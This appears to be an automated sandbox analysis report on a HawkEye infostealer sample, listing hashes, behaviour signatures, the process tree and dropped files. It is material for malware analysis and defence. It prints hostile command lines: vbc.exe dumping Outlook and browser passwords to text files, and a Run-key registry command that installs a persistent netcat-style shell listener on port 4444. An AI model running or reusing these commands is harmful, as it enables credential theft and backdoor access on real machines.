Analysis

  • max time kernel
    149s
  • max time network
    184s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-11-2022 15:41

General

  • Target

    e08e9c7d4571cc271e0b364498260ff4655e381a34aa5bb76f73914e13fe9470.exe

  • Size

    706KB

  • MD5

    e94cbe2bdc40efd475a5d46dc96a3620

  • SHA1

    b7afdd1a29609fc0bc362650acbfd2ed703cc642

  • SHA256

    e08e9c7d4571cc271e0b364498260ff4655e381a34aa5bb76f73914e13fe9470

  • SHA512

    62eba886982781d2fa604de808b12ceadb79850ed323bddac88900b8d8d9c9da5ed658bc197accbb25e9631d5eb192a5e43e143dbca4e4f26acfa2e62f3b6059

  • SSDEEP

    12288:rLoWMMMMMMMMMMMMMMMMMMEMMMMMMMMMMMMMMMMMMAHMMMMMMMMMMMMMMMMMMeye:RMMMMMMMMMMMMMMMMMMEMMMMMMMMMMMR

Malware Config

Signatures

  • HawkEye

    HawkEye is a malware kit that has seen continuous development since at least 2013.

  • NirSoft MailPassView 9 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 10 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 14 IoCs
  • Executes dropped EXE 3 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 5 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e08e9c7d4571cc271e0b364498260ff4655e381a34aa5bb76f73914e13fe9470.exe
    "C:\Users\Admin\AppData\Local\Temp\e08e9c7d4571cc271e0b364498260ff4655e381a34aa5bb76f73914e13fe9470.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:1788
    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\me.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\me.exe
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:1608
      • C:\Users\Admin\AppData\Roaming\Windows Update.exe
        "C:\Users\Admin\AppData\Roaming\Windows Update.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1992
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holdermail.txt"
          4⤵
          • Accesses Microsoft Outlook accounts
          PID:5044
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holderwb.txt"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4856
    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\me2.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\me2.exe
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:4724
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\WINDOWS\system32\run.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4560
        • C:\WINDOWS\SysWOW64\reg.exe
          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /f /v nc /d "C:\Windows\system32\me.exe -L -d -p 4444 -t -e cmd.exe"
          4⤵
          • Adds Run key to start application
          • Modifies registry key
          PID:3228
        • C:\WINDOWS\SysWOW64\ipconfig.exe
          ipconfig
          4⤵
          • Gathers network information
          PID:2356

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\me.exe

    Filesize

    521KB

    MD5

    16045bfd13c7c17e5fc6e92c2686adb1

    SHA1

    447bb812f69fe09334d6a77ed72689c263326488

    SHA256

    e003ee4c15c5cfac60aee2499613fe04ab4ba8e67592d817115fee85d17f2523

    SHA512

    5ba5990926373da33f92ed53c0321e90567e8a611c1011fb5ba5c55852229ee028f273172eeebb276195702327c13f071c335ef613bf55aeefe3e6cef1f969f9

  • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\me.exe

    Filesize

    521KB

    MD5

    16045bfd13c7c17e5fc6e92c2686adb1

    SHA1

    447bb812f69fe09334d6a77ed72689c263326488

    SHA256

    e003ee4c15c5cfac60aee2499613fe04ab4ba8e67592d817115fee85d17f2523

    SHA512

    5ba5990926373da33f92ed53c0321e90567e8a611c1011fb5ba5c55852229ee028f273172eeebb276195702327c13f071c335ef613bf55aeefe3e6cef1f969f9

  • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\me2.exe

    Filesize

    351KB

    MD5

    2250ef4bfb1d96ed3e17223e605e6d39

    SHA1

    e342cacb81c1b453d8765a5e08a01671fd31756f

    SHA256

    804db0aa7edbf0c884b2b59453b521714c2540922d6e01709158b9f1ceee494e

    SHA512

    fa60a06bcb031f17629d06df19f9ef77da1042c8ac926e7ae5b216d21e55234812c4b4110a9ea9acacab86157349023fdeddc8372a1b14a5c4865a5f81583662

  • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\me2.exe

    Filesize

    351KB

    MD5

    2250ef4bfb1d96ed3e17223e605e6d39

    SHA1

    e342cacb81c1b453d8765a5e08a01671fd31756f

    SHA256

    804db0aa7edbf0c884b2b59453b521714c2540922d6e01709158b9f1ceee494e

    SHA512

    fa60a06bcb031f17629d06df19f9ef77da1042c8ac926e7ae5b216d21e55234812c4b4110a9ea9acacab86157349023fdeddc8372a1b14a5c4865a5f81583662

  • C:\Users\Admin\AppData\Local\Temp\SysInfo.txt

    Filesize

    51B

    MD5

    2d17e6031cc679f870c396621e9172da

    SHA1

    6a194f0fba26bd6de0d736b3aa46ff64c8030153

    SHA256

    14848e58b77b4147ec5f9ead8e4647de177dc4a106681566db4808a1bc638d8a

    SHA512

    053b0c0a51f3eb6f2079aed33da6d9d68d9c266881a3fd8d45143ac66bd491d31fafbcb0309717029cc67644a30badbaec0c0a6de851eb9c25105f0225c2e16f

  • C:\Users\Admin\AppData\Local\Temp\holderwb.txt

    Filesize

    3KB

    MD5

    f94dc819ca773f1e3cb27abbc9e7fa27

    SHA1

    9a7700efadc5ea09ab288544ef1e3cd876255086

    SHA256

    a3377ade83786c2bdff5db19ff4dbfd796da4312402b5e77c4c63e38cc6eff92

    SHA512

    72a2c10d7a53a7f9a319dab66d77ed65639e9aa885b551e0055fc7eaf6ef33bbf109205b42ae11555a0f292563914bc6edb63b310c6f9bda9564095f77ab9196

  • C:\Users\Admin\AppData\Roaming\Windows Update.exe

    Filesize

    521KB

    MD5

    16045bfd13c7c17e5fc6e92c2686adb1

    SHA1

    447bb812f69fe09334d6a77ed72689c263326488

    SHA256

    e003ee4c15c5cfac60aee2499613fe04ab4ba8e67592d817115fee85d17f2523

    SHA512

    5ba5990926373da33f92ed53c0321e90567e8a611c1011fb5ba5c55852229ee028f273172eeebb276195702327c13f071c335ef613bf55aeefe3e6cef1f969f9

  • C:\Users\Admin\AppData\Roaming\Windows Update.exe

    Filesize

    521KB

    MD5

    16045bfd13c7c17e5fc6e92c2686adb1

    SHA1

    447bb812f69fe09334d6a77ed72689c263326488

    SHA256

    e003ee4c15c5cfac60aee2499613fe04ab4ba8e67592d817115fee85d17f2523

    SHA512

    5ba5990926373da33f92ed53c0321e90567e8a611c1011fb5ba5c55852229ee028f273172eeebb276195702327c13f071c335ef613bf55aeefe3e6cef1f969f9

  • C:\WINDOWS\SysWOW64\me.exe

    Filesize

    521KB

    MD5

    16045bfd13c7c17e5fc6e92c2686adb1

    SHA1

    447bb812f69fe09334d6a77ed72689c263326488

    SHA256

    e003ee4c15c5cfac60aee2499613fe04ab4ba8e67592d817115fee85d17f2523

    SHA512

    5ba5990926373da33f92ed53c0321e90567e8a611c1011fb5ba5c55852229ee028f273172eeebb276195702327c13f071c335ef613bf55aeefe3e6cef1f969f9

  • C:\WINDOWS\SysWOW64\run.bat

    Filesize

    473B

    MD5

    a8f58fb20c4f24b6300941d726a0324f

    SHA1

    c832a7c76dbf0b2ff31730d6bd5a4bdeac4094be

    SHA256

    03a010d924d0d0b69f0cb8c54cabe4041838189271155724e3d213d9dd8e3171

    SHA512

    6814e90c139573f94077d7edba0926e0c446c1592087b9c46610873f8a49d85153d28fdf08e053b123ea4a5487aecb51411a8c49cc4551661cb231e7cf515f15

  • memory/1608-136-0x0000000074A70000-0x0000000075021000-memory.dmp

    Filesize

    5.7MB

  • memory/1608-140-0x0000000074A70000-0x0000000075021000-memory.dmp

    Filesize

    5.7MB

  • memory/1608-132-0x0000000000000000-mapping.dmp

  • memory/1608-135-0x0000000074A70000-0x0000000075021000-memory.dmp

    Filesize

    5.7MB

  • memory/1992-141-0x0000000074A70000-0x0000000075021000-memory.dmp

    Filesize

    5.7MB

  • memory/1992-137-0x0000000000000000-mapping.dmp

  • memory/1992-151-0x0000000074A70000-0x0000000075021000-memory.dmp

    Filesize

    5.7MB

  • memory/2356-150-0x0000000000000000-mapping.dmp

  • memory/3228-149-0x0000000000000000-mapping.dmp

  • memory/4560-146-0x0000000000000000-mapping.dmp

  • memory/4724-142-0x0000000000000000-mapping.dmp

  • memory/4856-158-0x0000000000000000-mapping.dmp

  • memory/4856-159-0x0000000000400000-0x0000000000458000-memory.dmp

    Filesize

    352KB

  • memory/4856-161-0x0000000000400000-0x0000000000458000-memory.dmp

    Filesize

    352KB

  • memory/4856-163-0x0000000000400000-0x0000000000458000-memory.dmp

    Filesize

    352KB

  • memory/4856-164-0x0000000000400000-0x0000000000458000-memory.dmp

    Filesize

    352KB

  • memory/5044-153-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB

  • memory/5044-152-0x0000000000000000-mapping.dmp

  • memory/5044-155-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB

  • memory/5044-157-0x0000000000400000-0x000000000041B000-memory.dmp

    Filesize

    108KB